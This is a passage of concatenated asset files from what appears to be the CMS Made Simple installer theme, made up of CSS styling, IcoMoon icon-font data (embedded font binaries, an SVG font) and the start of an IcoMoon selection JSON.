AAAAIAAAACAAAAAgAAAAIAAAACAAAAAABQAAARAAAAAAAOAK4AAQAAAAAAAQAQAAAAAQAAAAAAAgAOAE4AAQAAAAAAAwAQACYAAQAAAAAABAAQAFwAAQAAAAAABQAWABAAAQAAAAAABgAIADYAAQAAAAAACgAoAGwAAwABBAkAAQAQAAAAAwABBAkAAgAOAE4AAwABBAkAAwAQACYAAwABBAkABAAQAFwAAwABBAkABQAWABAAAwABBAkABgAQAD4AAwABBAkACgAoAGwAYwBtAHMAbQBzAC0AdQBpAFYAZQByAHMAaQBvAG4AIAAxAC4AMABjAG0AcwBtAHMALQB1AGljbXNtcy11aQBjAG0AcwBtAHMALQB1AGkAUgBlAGcAdQBsAGEAcgBjAG0AcwBtAHMALQB1AGkARwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==) format('woff');
	font-weight: normal;
	font-style: normal;
}

[class^="icon-"], [class*=" icon-"] {
	font-family: 'cmsms-ui';
	speak: none;
	font-style: normal;
	font-weight: normal;
	font-variant: normal;
	text-transform: none;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-align: center;
}

.icon-stack:before {
	content: "\e607";
}
.icon-folder-open:before {
	content: "\e600";
}
.icon-calendar:before {
	content: "\e608";
}
.icon-warning:before {
	content: "\e601";
}
.icon-info:before {
	content: "\e602";
}
.icon-cancel-circle:before {
	content: "\e603";
}
.icon-checkmark-circle:before {
	content: "\e604";
}
.icon-spam:before {
	content: "\e605";
}
.icon-loop:before {
	content: "\e606";
}
.icon-googleplus:before {
	content: "\e609";
}
.icon-facebook:before {
	content: "\e60a";
}
.icon-twitter:before {
	content: "\e60b";
}
.icon-linkedin:before {
	content: "\e60c";
}

.icon-asterisk {
	font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif !important;
}

.icon-asterisk:before {
	content: " *";
}

/* --- Colours --- */

.cmsms-ui .red {
	color: #A95252;
}

.cmsms-ui .blue {
	color: #4D8796;
}

.cmsms-ui .green {
	color: #52A954;
}

.cmsms-ui .yellow {
	color: #96904D;
}

.cmsms-ui .orange {
	color: #F79838;
}

/* --- Messages --- */

.cmsms-ui .message {
	position: relative;
	min-height: 18px;
	margin: 1em 0;
	height: auto;
	background-color: #EFEFEF;
	padding: 1em;
	line-height: 1.33;
	color: rgba(0,0,0,.6);
	-webkit-transition: opacity .1s ease,color .1s ease,background .1s ease,-webkit-box-shadow .1s ease;
	-moz-transition: opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;
	transition: opacity .1s ease,color .1s ease,background .1s ease,box-shadow .1s ease;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
	border-radius: .225em;
}

.cmsms-ui .message.red {
	background-color: #F1D7D7;
	color: #A95252;
}

.cmsms-ui .message.blue {
	background-color: #E6F4F9;
	color: #4D8796;
}

.cmsms-ui .message.green {
	background-color: #DEFCD5;
	color: #52A954;
}

.cmsms-ui .message.yellow {
	background-color: #F6F3D5;
	color: #96904D;
}

.cmsms-ui .icon.message {
	display: table;
	width: 100%;
}

.cmsms-ui .icon.message > .message-icon {
	display: table-cell;
	vertical-align: middle;
	text-align: left;
	font-size: 3.5em;
	opacity: .3;
}

.cmsms-ui .icon.message > .message-icon + .content {
	padding-left: .5em;
	display: table-cell;
	vertical-align: middle;
	margin-top: 0;
}

/* --- Labels --- */

.cmsms-ui .label {
	display: inline-block;
	vertical-align: middle;
	margin: -.25em .25em 0;
	background-color: #efefef;
	padding: .1em .5em;
	text-transform: uppercase;
	font-weight: 400;
	font-size: .875em;
	border-radius: 3px;
	-webkit-transition: background .1s linear;
	-moz-transition: background .1s linear;
	transition: background .1s linear;
}

.cmsms-ui .label.circle {
	min-height: 1em;
	max-height: 2em;
	padding: .5em !important;
	line-height: 1em;
	text-align: center;
	border-radius: 500px;
}

.cmsms-ui .label.red {
	background-color: #A95252;
	color: #fff;
}

.cmsms-ui .label.blue {
	background-color: #6ECFF5;
	color: #fff;
}

.cmsms-ui .label.green {
	background-color: #52A954;
	color: #fff;
}

.cmsms-ui .label.yellow {
	background-color: #96904D;
	color: #fff;
}

.cmsms-ui .label.orange {
	background-color: #F05940;
	color: #fff;
}

/* --- Forms --- */

.cmsms-ui .form-row {
	margin-bottom: .7em;
}
.cmsms-ui .installer-form label {
	display: inline-block;
	padding-right: 25px;
}

.cmsms-ui .installer-form .form-field {
	display: inline-block;
	height: 34px;
	padding: 6px 12px;
	font-size: .875em;
	line-height: 1.42857143;
	color: #666;
	background-color: #fff;
	border: 1px solid #ddd;
	border-radius: 2px;
	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
	-o-box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
	box-shadow: inset 0 1px 1px rgba(0,0,0,.075);
	-webkit-transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;
	transition: border-color ease-in-out .15s,box-shadow ease-in-out .15s;
}

.cmsms-ui .installer-form select.form-field {
	height: auto;
}

.cmsms-ui .installer-form .corner {
	background-color: transparent;
	border-color: #f2f2f2;
	position: absolute;
	top: 1px;
	right: 1px;
	z-index: 10;
	margin: 0;
	width: 25px;
	height: 25px;
	padding: 0;
	text-align: center;
	-webkit-transition: color .2s ease;
	-moz-transition: color .2s ease;
	transition: color .2s ease;
}

.cmsms-ui .installer-form .corner:after {
	position: absolute;
	content: "";
	right: 0;
	top: 0;
	z-index: -1;
	width: 0;
	height: 0;
	border-top: 0 solid transparent;
	border-right: 25px solid transparent;
	border-bottom: 25px solid transparent;
	border-left: 0 solid transparent;
	border-right-color: inherit;
	-webkit-transition: border-color .2s ease;
	-moz-transition: border-color .2s ease;
	transition: border-color .2s ease;
}

.cmsms-ui .installer-form .corner.red:after {
	border-right-color: #F1D7D7;
	color: #A95252;
}

.cmsms-ui .installer-form .form-field:focus {
	border-color: rgba(0,0,0,.2);
	border-bottom-left-radius: 0;
	border-top-left-radius: 0;
	outline: 0;
}

.cmsms-ui .installer-form input[type="text"].form-field:focus,
.cmsms-ui .installer-form input[type="password"].form-field:focus,
.cmsms-ui .installer-form textarea.form-field:focus,
.cmsms-ui .installer-form input[type="email"].form-field:focus {
	border-color: #FDA66B;
	-webkit-appearance: none;
	-webkit-box-shadow: .3em 0 0 0 #FDA66B inset;
	box-shadow: .3em 0 0 0 #FDA66B inset;
}

.cmsms-ui .installer-form .full-width {
	width: 100%;
}

.cmsms-ui .bigtext {
    max-height: 20em;
    max-width: 60em;
    overflow-y: none;
    overflow-x: none;
}

/* --- Buttons --- */

.cmsms-ui .action-button {
	display: inline-block;
	margin: 20px 0;
	font-weight: 400;
	text-align: center;
	vertical-align: middle;
	cursor: pointer;
	color: #666;
	border: none;
	white-space: nowrap;
	padding: 6px 18px;
	font-size: .875em;
	line-height: 1.42857143;
	text-decoration: none;
	border-radius: 2px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	background-color: transparent;
	background-image: -webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,0)),to(rgba(0,0,0,.05)));
	background-image: -webkit-linear-gradient(rgba(0,0,0,0),rgba(0,0,0,.05));
	background-image: -moz-linear-gradient(rgba(0,0,0,0),rgba(0,0,0,.05));
	background-image: linear-gradient(rgba(0,0,0,0),rgba(0,0,0,.05));
	-webkit-tap-highlight-color: rgba(0,0,0,0);
	-webkit-box-shadow: 0 0 0 1px rgba(0,0,0,.08) inset;
	box-shadow: 0 0 0 1px rgba(0,0,0,.08) inset;
	-webkit-transition: opacity .25s ease,background-color .25s ease,color .25s ease,background .25s ease,-webkit-box-shadow .25s ease;
	-moz-transition: opacity .25s ease,background-color .25s ease,color .25s ease,background .25s ease,box-shadow .25s ease;
	transition: opacity .25s ease,background-color .25s ease,color .25s ease,background .25s ease,box-shadow .25s ease;
}

.cmsms-ui .action-button.positive {
	background-color: #5BBD72 !important;
	color: #fff;
}

.cmsms-ui .action-button.negative {
	background-color: #D95C5C !important;
	color: #fff;
}

.cmsms-ui .action-button.blue {
	background-color: #6ECFF5 !important;
	color: #fff;
}

.cmsms-ui .action-button.orange {
	background-color: #E96633 !important;
	color: #fff;
}

.cmsms-ui .action-button.social {
	color: #fff;
	font-weight: 700;
	text-transform: uppercase;
}

.cmsms-ui .action-button.google {
	background-color: #D34836;
}

.cmsms-ui .action-button.facebook {
	background-color: #3B579D;
}

.cmsms-ui .action-button.twitter {
	background-color: #4092CC;
}

.cmsms-ui .action-button.linkedin {
	background-color: #1F88BE;
}

.cmsms-ui .action-button:hover,
.cmsms-ui .action-button:active {
	background-image: none;
}

.cmsms-ui .action-button.positive:hover,
.cmsms-ui .action-button.positive:active {
	background-color: #58CB73 !important;
	color: #fff;
}

.cmsms-ui .action-button.negative:hover
.cmsms-ui .action-button.negative:active {
	background-color: #D24B4C !important;
	color: #fff;
}

.cmsms-ui .action-button.blue:hover,
.cmsms-ui .action-button.blue:active {
	background-color: #1AB8F3 !important;
	color: #fff;
}

.cmsms-ui .action-button.orange:hover,
.cmsms-ui .action-button.orange:active {
	background-color: #FF7038;
	color: #fff;
}

/* --- Tables --- */

.cmsms-ui .table {
	width: 100%;
	border-collapse: collapse;
}

.cmsms-ui .table caption {
	font-weight: bold;
	text-align: left;
	font-size: 1.25em;
}

.cmsms-ui .table thead {
	border-bottom: 1px solid rgba(0,0,0,.03);
}

.cmsms-ui .bordered-table td, .cmsms-ui .bordered-table th {
  border: 1px solid #ddd;
}

.cmsms-ui .table th,
.cmsms-ui .table tr,
.cmsms-ui.table td {
	border-collapse: collapse;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
	-webkit-transition: all .1s ease-out;
	-moz-transition: all .1s ease-out;
	transition: all .1s ease-out;
}

.cmsms-ui .table th {
	cursor: auto;
	background-color: #f2f2f2;
	text-align: left;
	color: rgba(0,0,0,.8);
	padding: .5em .7em;
	vertical-align: middle;
}

.cmsms-ui .table td {
	padding: .4em .7em;
	vertical-align: middle;
}

.cmsms-ui .table.zebra-table tr.even,
.cmsms-ui .table.zebra-table td.even {
	background-color: #f9f9f9;
}

.cmsms-ui .table tr.warning,
.cmsms-ui .table td.warning {
	background-color: #FBF6E9 !important;
	color: #7D6C00;
}

.cmsms-ui .table tr.error,
.cmsms-ui .table td.error {
	background-color: #F9F4F4;
	color: #CD2929;
}

.cmsms-ui .table tr.warning:hover,
.cmsms-ui .table td.warning:hover {
	background-color: #F3EDDC !important;
	color: #7D6C00;
}

.cmsms-ui .table tr:hover.error,
.cmsms-ui .table td:hover.error {
	background-color: #F2E8E8;
	color: #CD2929;
}

.cmsms-ui .table .tests-infotext {
	display: inline-block;
	font-size: .875em;
	line-height: 1.3;
}


/* HEADER */

.cmsms-ui .header-section {
	text-align: center;
	padding: 28px 0 25px 0;
	line-height: 1;
}

.cmsms-ui .header-section .installer-title {
	display: block;
	font-size: 1.75em;
	font-weight: 300;
}

/* CONTENT */

.cmsms-ui .installer-section {
	background: #fff;
	border-radius: 2px;
	-webkit-box-shadow: 0 0 6px rgba(0, 0, 0, .1);
	-moz-box-shadow: 0 0 6px rgba(0, 0, 0, .1);
	-o-box-shadow: 0 0 6px rgba(0, 0, 0, .1);
	box-shadow: 0 0 6px rgba(0, 0, 0, .1);
}

.cmsms-ui .existing-info li {
	margin-bottom: .3em;
	word-break: break-word;
}

/* -- Aside steps indicator --- */

.cmsms-ui .installer-steps ol {
	margin: 0;
	padding-left: 20px;
	list-style: decimal;
}

.cmsms-ui .installer-steps ol > li {
	margin-bottom: 1.2em;
}

.cmsms-ui .installer-steps ol > li:hover {
	color: #666;
}

.cmsms-ui .installer-steps {
	color: #666;
	font-size: .875em;
}

.cmsms-ui .step-title {
	margin-bottom: 0;
}

.cmsms-ui .current-step {
	color: #F79838;
}

.cmsms-ui .done-step {
	color: #7AB949;
}

.cmsms-ui .step-description {
	margin-top: 0;
	line-height: 1.3;
	font-size: .928571em;
	color: #333;
}

.cmsms-ui .current-step .step-description {
	color: #333;
}

/* --- main content section --- */

.cmsms-ui .info {
	font-size: .875em;
}

.cmsms-ui .installer-form label {
	font-size: .875em;
}

.cmsms-ui .installer-form fieldset {
	margin: 0;
	padding: 15px;
	border: 1px solid #ddd;
	border-radius: 3px;
	background-color: #fefefe;
}

.cmsms-ui .installer-form .corner .icon-asterisk {
	margin-left: 12px;
}

.cmsms-ui .installer-content-section h1 {
	font-size: 1.5em;
}

.cmsms-ui .installer-test-legend {
	margin-top: 25px;
}

.cmsms-ui .installer-test-legend th {
	background-color: #f2f2f2 !important;
}

.cmsms-ui .table.installer-test-information {
	font-size: .875em;
}

#bottom_nav {
    display: none;
}

/* FOOTER */
.cmsms-ui .footer-section {
	text-align: center;
	padding: 10px 0 15px 0;
}

.cmsms-ui .footer-info a {
	font-size: .875em;
	color: #666;
	font-weight: 700;
}

.cmsms-ui .footer-section small {
	display: block;
}
|                         LP                       T_                   c m s m s - u i    R e g u l a r    V e r s i o n   1 . 0    c m s m s - u i            0OS/2"      `cmapUc     Lgasp     h   glyfR`Kh  p  	head  
   6hhea  
   $hmtx    
   Dloca0  ,   $maxp    P    name  p  Bpost              Lf   GLf                                    @                                     8   
                                         79               79               79           
  %!33```@@@    @@      1 ?  !512#!".67>34>32#".572#'4>3 X	N	 				 	
,
	qO	L								``	         $  "32>54.#3#5#535#533 5]F((F]55]F((F]5 @@`  ` (F]55]F((F]55]F(`@@           %  "32>54.##'#57'5373 5]F((F]55]F((F]5SS-SS-SS-SS-(F]55]F((F]55]F(SS-SS-SS-SS-        "32>54.#'77 5]F((F]55]F((F]50j/;(F]55]F((F]55]F(`1K      	    %#375'#535#53 P@@@@pp`@@      3  .#">3235".'7#732>7'#).2)K?/<
$/8&"HK&"HK).2)K?/<
$/8
,=$-"HKHK
,=$-"         	    %%%'7%77%7      3  33  3@VVVVVgg               # ' 4 9  3#73#73#3#73#73#'3#73#73#%3##5##5#!#!!@@`@@`@@@@`@@`@@`@@`@@`@@@@`@@@@ ` @@@@@@@@@@@@@@@@@`       `        
  h     704044017>'.#&%54.'&>665'>5''5'57577667.54>7"&.'>0&<#21.'."&&7<645<.5 v!!<;+(8` `` `]		
[
 	-&(''*	# 


a__a 		"d	<!

		      1  !"3!2>'.###7#737&>;#"3 W 	Ta/-(YG	_V I0&O(I         !"3!2>'.##".'2:32>7.'22326263.'2&2"33.7&>7&6&6'>32>7>7 W  <Z9!"


	&-0

	V*WF-
			



        2 O  !"3!2>54.##53".54>32##54.#"#53>32T@@ 				 @		@@T` 				 		(        .m_<      lI    lI                                                                                                  
   8  4V. l                                                 N        &        \                6      
 ( l  	      	   N  	   &  	   \  	     	   >  	 
 ( l c m s m s - u i V e r s i o n   1 . 0 c m s m s - u icmsms-ui c m s m s - u i R e g u l a r c m s m s - u i G e n e r a t e d   b y   I c o M o o n                                 <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="cmsms-ui" horiz-adv-x="512">
<font-face units-per-em="512" ascent="480" descent="-32" />
<missing-glyph horiz-adv-x="512" />
<glyph unicode="&#x20;" d="" horiz-adv-x="256" />
<glyph unicode="&#xe600;" d="M416 0l96 256h-416l-96-256zM64 288l-64-288v416h144l64-64h208v-64z" />
<glyph unicode="&#xe601;" d="M256 400.638l-172.417-368.638h344.834l-172.417 368.638zM256 480v0c11.035 0 22.070-7.441 30.442-22.324l218.536-435.556c16.745-29.766 2.5-54.12-31.651-54.12h-434.654c-34.152 0-48.395 24.354-31.652 54.12l218.537 435.556c8.372 14.883 19.407 22.324 30.442 22.324zM224 96c0 17.673 14.327 32 32 32s32-14.327 32-32c0-17.673-14.327-32-32-32-17.673 0-32 14.327-32 32zM256 288c17.673 0 32-14.327 32-32l-10-96h-44l-10 96c0 17.673 14.327 32 32 32z" />
<glyph unicode="&#xe602;" d="M256 480c-141.385 0-256-114.615-256-256s114.615-256 256-256 256 114.615 256 256-114.615 256-256 256zM224 384h64v-64h-64v64zM320 64h-128v32h32v128h-32v32h96v-160h32v-32z" />
<glyph unicode="&#xe603;" d="M256 480c-141.385 0-256-114.615-256-256s114.615-256 256-256 256 114.615 256 256-114.615 256-256 256zM384 306.745l-82.744-82.745 82.744-82.744v-45.256h-45.256l-82.744 82.744-82.745-82.744h-45.255v45.256l82.745 82.744-82.745 82.745v45.255h45.255l82.745-82.745 82.744 82.745h45.256v-45.255z" />
<glyph unicode="&#xe604;" d="M256 480c-141.385 0-256-114.615-256-256s114.615-256 256-256 256 114.615 256 256-114.615 256-256 256zM208 64l-106 138 47 49 59-75 185 151 23-23-208-240z" />
<glyph unicode="&#xe605;" d="M512 112l-144 368h-224l-144-144v-224l144-144h224l144 144v224l-144 144zM288 64h-64v64h64v-64zM288 192h-64v192h64v-192z" />
<glyph unicode="&#xe606;" d="M437.011 405.010c-46.326 46.328-110.318 74.99-181.011 74.99-109.744 0-203.345-69.064-239.749-166.094l59.938-22.477c27.302 72.773 97.503 124.571 179.811 124.571 53.020 0 101.010-21.5 135.753-56.247l-71.753-71.753h192v192l-74.989-74.99zM256 32c-53.020 0-101.013 21.496-135.756 56.244l71.756 71.756h-192v-192l74.997 74.997c46.323-46.331 110.309-74.997 181.003-74.997 109.745 0 203.346 69.064 239.75 166.094l-59.938 22.477c-27.302-72.773-97.503-124.571-179.812-124.571z" />
<glyph unicode="&#xe607;" d="M512 320l-256 128-256-128 256-128 256 128zM256 405.515l171.029-85.515-171.029-85.515-171.029 85.515 171.029 85.515zM460.722 249.639l51.278-25.639-256-128-256 128 51.278 25.639 204.722-102.361zM460.722 153.639l51.278-25.639-256-128-256 128 51.278 25.639 204.722-102.361z" />
<glyph unicode="&#xe608;" d="M160 288h64v-64h-64zM256 288h64v-64h-64zM352 288h64v-64h-64zM64 96h64v-64h-64zM160 96h64v-64h-64zM256 96h64v-64h-64zM160 192h64v-64h-64zM256 192h64v-64h-64zM352 192h64v-64h-64zM64 192h64v-64h-64zM416 480v-32h-64v32h-224v-32h-64v32h-64v-512h480v512h-64zM448 0h-416v352h416v-352z" />
<glyph unicode="&#xe609;" d="M0.403 45.168c-0.122 1.266-0.226 2.535-0.292 3.815 0.065-1.28 0.17-2.549 0.292-3.815zM117.954 197.426c46.005-1.369 76.867 46.349 68.931 106.599-7.947 60.24-51.698 108.584-97.704 109.961-46.013 1.365-76.87-44.741-68.926-105 7.941-60.234 51.676-110.187 97.699-111.56zM512 352v42.655c0 46.94-38.391 85.345-85.329 85.345h-341.328c-46.138 0-84.006-37.116-85.282-82.963 29.181 25.693 69.662 47.158 111.437 47.158 44.652 0 178.622 0 178.622 0l-39.974-33.809h-56.634c37.565-14.402 57.578-58.062 57.578-102.861 0-37.624-20.905-69.977-50.444-92.984-28.822-22.451-34.286-31.854-34.286-50.939 0-16.289 30.873-44 47.016-55.394 47.191-33.269 62.458-64.156 62.458-115.728 0-8.214-1.021-16.415-3.033-24.48h153.871c46.937 0 85.328 38.375 85.328 85.345v266.654h-96v-95.999h-32v96h-95.999v32h95.999v96h32v-96h96zM92.943 97.032c10.807 0 20.711 0.295 30.968 0.295-13.573 13.167-24.313 29.3-24.313 49.19 0 11.804 3.782 23.168 9.067 33.26-5.391-0.385-10.895-0.497-16.563-0.497-37.178 0-68.753 12.038-92.102 31.927v-33.621l0.003-100.865c26.72 12.687 58.444 20.311 92.94 20.311zM1.71 36.371c-0.556 2.729-0.983 5.503-1.271 8.317 0.287-2.814 0.715-5.588 1.271-8.317zM227.725 3.577c-7.529 29.403-34.227 43.982-71.444 69.784-13.536 4.366-28.447 6.937-44.447 7.104-44.809 0.482-86.554-17.471-110.108-44.186 7.96-38.853 42.517-68.279 83.617-68.279h143.222c0.908 5.564 1.348 11.316 1.348 17.216 0 6.267-0.767 12.396-2.188 18.361z" />
<glyph unicode="&#xe60a;" d="M426.672 480h-341.33c-46.936 0-85.342-38.407-85.342-85.344v-341.313c0-46.969 38.406-85.343 85.342-85.343l341.33 0.001c46.938 0 85.328 38.373 85.328 85.344v341.311c0 46.937-38.391 85.344-85.328 85.344zM435.296 224h-83.296v-224h-96v224h-46.263v73.282h46.263v47.593c0 64.671 27.896 103.125 103.935 103.125h87.622v-79.285h-71.565c-21.241 0.035-23.876-11.076-23.876-31.756l-0.116-39.677h96l-12.704-73.282z" />
<glyph unicode="&#xe60b;" d="M426.671 480h-341.328c-46.937 0-85.343-38.405-85.343-85.345v-341.311c0-46.969 38.406-85.344 85.343-85.344h341.328c46.938 0 85.329 38.375 85.329 85.345v341.31c0 46.94-38.391 85.345-85.329 85.345zM419.026 309.083c0.164-3.671 0.245-7.364 0.245-11.074 0-113.107-84.608-243.534-239.329-243.534-47.502 0-91.717 14.174-128.943 38.459 6.58-0.794 13.276-1.197 20.065-1.197 39.411 0 75.679 13.685 104.467 36.641-36.808 0.69-67.872 25.438-78.577 59.441 5.137-1 10.406-1.537 15.826-1.537 7.672 0 15.103 1.048 22.16 3.004-38.48 7.866-67.475 42.458-67.475 83.928 0 0.361 0 0.719 0.008 1.076 11.34-6.41 24.312-10.26 38.1-10.705-22.571 15.349-37.421 41.546-37.421 71.244 0 15.685 4.147 30.389 11.389 43.029 41.487-51.785 103.468-85.86 173.377-89.431-1.435 6.266-2.179 12.798-2.179 19.507 0 47.269 37.663 85.59 84.115 85.59 24.195 0 46.059-10.393 61.401-27.029 19.16 3.838 37.162 10.96 53.416 20.771-6.281-19.988-19.617-36.761-36.983-47.355 17.013 2.069 33.226 6.67 48.31 13.477-11.273-17.162-25.535-32.238-41.972-44.305z" />
<glyph unicode="&#xe60c;" d="M426 480h-340c-47.3 0-86-38.7-86-86v-340c0-47.3 38.7-86 86-86h340c47.3 0 86 38.7 86 86v340c0 47.3-38.7 86-86 86zM192 64h-64v224h64v-224zM160 320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zM416 64h-64v128c0 17.673-14.327 32-32 32s-32-14.327-32-32v-128h-64v224h64v-39.736c13.199 18.132 33.376 39.736 56 39.736 39.765 0 72-35.817 72-80v-144z" />
</font></defs></svg>       0OS/2"      `cmapUc     Lgasp     h   glyfR`Kh  p  	head  
   6hhea  
   $hmtx    
   Dloca0  ,   $maxp    P    name  p  Bpost              Lf   GLf                                    @                                     8   
                                         79               79               79           
  %!33```@@@    @@      1 ?  !512#!".67>34>32#".572#'4>3 X	N	 				 	
,
	qO	L								``	         $  "32>54.#3#5#535#533 5]F((F]55]F((F]5 @@`  ` (F]55]F((F]55]F(`@@           %  "32>54.##'#57'5373 5]F((F]55]F((F]5SS-SS-SS-SS-(F]55]F((F]55]F(SS-SS-SS-SS-        "32>54.#'77 5]F((F]55]F((F]50j/;(F]55]F((F]55]F(`1K      	    %#375'#535#53 P@@@@pp`@@      3  .#">3235".'7#732>7'#).2)K?/<
$/8&"HK&"HK).2)K?/<
$/8
,=$-"HKHK
,=$-"         	    %%%'7%77%7      3  33  3@VVVVVgg               # ' 4 9  3#73#73#3#73#73#'3#73#73#%3##5##5#!#!!@@`@@`@@@@`@@`@@`@@`@@`@@@@`@@@@ ` @@@@@@@@@@@@@@@@@`       `        
  h     704044017>'.#&%54.'&>665'>5''5'57577667.54>7"&.'>0&<#21.'."&&7<645<.5 v!!<;+(8` `` `]		
[
 	-&(''*	# 


a__a 		"d	<!

		      1  !"3!2>'.###7#737&>;#"3 W 	Ta/-(YG	_V I0&O(I         !"3!2>'.##".'2:32>7.'22326263.'2&2"33.7&>7&6&6'>32>7>7 W  <Z9!"


	&-0

	V*WF-
			



        2 O  !"3!2>54.##53".54>32##54.#"#53>32T@@ 				 @		@@T` 				 		(        .m_<      lI    lI                                                                                                  
   8  4V. l                                                 N        &        \                6      
 ( l  	      	   N  	   &  	   \  	     	   >  	 
 ( l c m s m s - u i V e r s i o n   1 . 0 c m s m s - u icmsms-ui c m s m s - u i R e g u l a r c m s m s - u i G e n e r a t e d   b y   I c o M o o n                                 wOFFOTTO  
 
    
T                       CFF        SOS/2     `   `"cmap  <   L   LUcgasp           head     6   6hhea     $   $hmtx     D   D  maxp  	0       P name  	8  B  Bpost  
|             	cmsms-ui   :
 S
 Skt         	   	"',16;@EJOTYcmsms-uicmsms-uiu0u1u20uE600uE601uE602uE603uE604uE605uE606uE607uE608uE609uE60AuE60BuE60C        
  1  U;*=\44+K4$KdK%@@|oHm|siFi|oHk}yy}}yy}T}y+_t!!!!!!!!k+ˋKKk닋4kt!!!!!!!!A888^^888^8ދ8޸^t!!!!!!!![4!@M+td$t$$t$$t$$t$$;4KˋKKTˋTI)]KD.Ff*tҿ݋vhCCTT@@I	V[hTT]nҋаOpBDW9?5?5??a0qa$aqa$4ˋKKˋKKˋKKˋKKˋKKˋKK+4ˋKKˋKKˋKKˋKKkKtkKKtKt44
,ǃ_]]l]OOY/e\]ef]ciS}__evkntntxzpjlW.++k+닋뫋+7}fktj&0Nvkpf~|{^aytpdn$?t\ee\\ee\8t+t]Թ̧׋㋋<Cvvc~B?t\ee\\ee\?7/[_ffldnt|Wiчzw~{zz||{>t\dd\\dd\~4Ktˋtky}}yy}}yK}yy}}yKtˋcg_$
       Lf   GLf                                    @                                     8   
                                   _T_<      lI    lI                                                                                               P                         N        &        \                6      
 ( l  	      	   N  	   &  	   \  	     	   >  	 
 ( l c m s m s - u i V e r s i o n   1 . 0 c m s m s - u icmsms-ui c m s m s - u i R e g u l a r c m s m s - u i G e n e r a t e d   b y   I c o M o o n                                 {
	"IcoMoonType": "selection",
	"icons": [
		{
			"icon": {
				"paths": [
					"M512 0c-282.77 0-512 229.23-512 512s229.23 512 512 512 512-229.23 512-512-229.23-512-512-512zM416 832l-212-276 94-98 118 150 370-302 46 46-416 480z"
				],
				"tags": [
					"checkmark-circle",
					"tick",
					"correct"
				],
				"grid": 16
			},
			"properties": {
				"id": 251,
				"order": 1,
				"prevSize": 32,
				"code": 58884,
				"name": "checkmark-circle",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 251
		},
		{
			"icon": {
				"paths": [
					"M512 0c-282.77 0-512 229.23-512 512s229.23 512 512 512 512-229.23 512-512-229.23-512-512-512zM768 346.51l-165.488 165.49 165.488 165.488v90.512h-90.512l-165.488-165.488-165.49 165.488h-90.51v-90.512l165.49-165.488-165.49-165.49v-90.51h90.51l165.49 165.49 165.488-165.49h90.512v90.51z"
				],
				"tags": [
					"cancel-circle",
					"close",
					"remove",
					"delete"
				],
				"grid": 16
			},
			"properties": {
				"id": 250,
				"order": 2,
				"prevSize": 32,
				"code": 58883,
				"name": "cancel-circle",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 250
		},
		{
			"icon": {
				"paths": [
					"M1024 736 736 0h-448l-288 288v448l288 288h448l288-288v-448l-288-288zM576 832h-128v-128h128v128zM576 576h-128v-384h128v384z"
				],
				"tags": [
					"spam",
					"notice",
					"notification",
					"exclamation"
				],
				"grid": 16
			},
			"properties": {
				"id": 252,
				"order": 3,
				"prevSize": 32,
				"code": 58885,
				"name": "spam",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 252
		},
		{
			"icon": {
				"paths": [
					"M832 960l192-512h-832l-192 512zM128 384l-128 576v-832h288l128 128h416v128z"
				],
				"tags": [
					"folder-open",
					"directory",
					"category",
					"browse"
				],
				"grid": 16
			},
			"properties": {
				"id": 47,
				"order": 4,
				"prevSize": 32,
				"code": 58880,
				"name": "folder-open",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 47
		},
		{
			"icon": {
				"paths": [
					"M512 0c-282.77 0-512 229.23-512 512s229.23 512 512 512 512-229.23 512-512-229.23-512-512-512zM448 192h128v128h-128v-128zM640 832h-256v-64h64v-256h-64v-64h192v320h64v64z"
				],
				"tags": [
					"info",
					"information"
				],
				"grid": 16
			},
			"properties": {
				"id": 248,
				"order": 5,
				"prevSize": 32,
				"code": 58882,
				"name": "info",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 248
		},
		{
			"icon": {
				"paths": [
					"M512 158.724l-344.834 737.276h689.668l-344.834-737.276zM512 0v0c22.070 0 44.14 14.882 60.884 44.648l437.072 871.112c33.49 59.532 5 108.24-63.302 108.24h-869.308c-68.304 0-96.79-48.708-63.304-108.24l437.074-871.112c16.744-29.766 38.814-44.648 60.884-44.648zM448 768c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64zM512 384c35.346 0 64 28.654 64 64l-20 192h-88l-20-192c0-35.346 28.654-64 64-64z"
				],
				"tags": [
					"warning",
					"sign"
				],
				"grid": 16
			},
			"properties": {
				"id": 244,
				"order": 6,
				"prevSize": 32,
				"code": 58881,
				"name": "warning",
				"ligatures": ""
			},
			"setIdx": 0,
			"iconIdx": 244
		},
		{
			"icon": {
				"paths": [
